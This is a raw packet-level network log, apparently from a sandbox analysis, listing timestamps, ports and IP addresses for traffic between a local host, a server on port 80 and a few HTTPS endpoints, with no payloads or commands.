Oct 7, 2024 19:33:15.736207008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736213923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736217022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736232042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736236095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736244917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736259937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736263037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736287117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736298084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736301899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736314058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736315012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736325026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736342907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736344099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736354113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736365080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736368895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736368895 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736376047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736387014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736392975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736397028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736404896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736414909 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736418009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736430883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736440897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736454010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736479998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.736484051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.736568928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.756688118 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.757170916 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.757181883 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.757611990 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.757616997 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.814445019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814465046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814476013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814486980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814505100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814505100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.814523935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814537048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814541101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.814548969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814573050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.814589977 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.814634085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814646006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814656973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814667940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814668894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.814681053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814683914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.814692974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.814702988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.814730883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816546917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816565990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816576004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816595078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816615105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816617012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816632986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816652060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816683054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816688061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816695929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816701889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816724062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816729069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816751003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816776037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816778898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816792011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816817999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816828012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816864967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816876888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816890955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816900969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816903114 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816912889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816921949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816951036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816953897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816967010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816977978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816987991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.816991091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.816999912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.817006111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.817024946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.817034006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.817050934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.817050934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.817063093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.817086935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.817111969 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819298983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819355011 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819360018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819372892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819402933 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819417000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819437027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819448948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819459915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819472075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819475889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819488049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819492102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819504976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819514990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819534063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819574118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819586992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819598913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819610119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819612980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819622993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819628954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819643021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819675922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819700956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819713116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819724083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819734097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819749117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819775105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819818974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819830894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819847107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819856882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819868088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819868088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819880962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819890022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819894075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819921970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819926977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819938898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819943905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819953918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.819986105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819986105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.819986105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820024014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820035934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820046902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820058107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820069075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820070982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820070982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820081949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820086956 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820115089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820156097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820168972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820178986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820190907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820194960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820213079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820219040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820231915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820242882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820245028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820262909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820267916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820276022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820291042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820318937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820323944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820337057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820347071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820358992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820359945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820372105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820383072 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820393085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820404053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820420980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820421934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820431948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820437908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820476055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820483923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820491076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820502996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820519924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820524931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820533037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820545912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820552111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820557117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820558071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820564985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820569992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820602894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820606947 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820640087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820645094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820658922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820694923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820785999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820797920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820810080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820822001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820822954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820833921 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820837021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820851088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820851088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820858955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820878029 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820887089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820898056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820904016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820916891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820929050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820940971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820956945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820957899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820956945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820970058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.820972919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820983887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.820991039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.821001053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.821002960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.821002960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.821022034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.821050882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.830328941 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.830715895 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.830724001 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.831161022 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.831166029 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.857737064 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.857888937 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.858206987 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.858227015 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.858237028 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.858248949 CEST	49733	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.858253956 CEST	443	49733	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.861541033 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.861573935 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.861685991 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.861943007 CEST	49740	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.861957073 CEST	443	49740	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.884871006 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.885301113 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.885329008 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.885943890 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.885962963 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.898782969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.898803949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.898816109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.898838043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.898854971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.898885965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.898896933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.898909092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.898921013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.898938894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.898938894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.898972988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.899033070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.899044037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.899055958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.899068117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.899079084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.899080038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.899085999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.899094105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.899115086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.899131060 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.899142027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.899178982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.901710033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901729107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901741028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901751995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901760101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.901766062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901777983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901783943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.901813984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.901855946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901896954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.901925087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901937962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901949883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.901963949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.901978016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.901998997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.902014017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902026892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902040005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902051926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902064085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902065992 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.902075052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902084112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902093887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902108908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.902128935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.902139902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.902863026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902874947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902888060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902896881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.902914047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.903038025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.903731108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.903780937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.903788090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.903800964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.903826952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.903839111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.903904915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.903918028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.903929949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.903942108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.903959036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.903985977 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904046059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904083014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904154062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904166937 CEST	80	49718	46.8.231.109	192.168.2.7
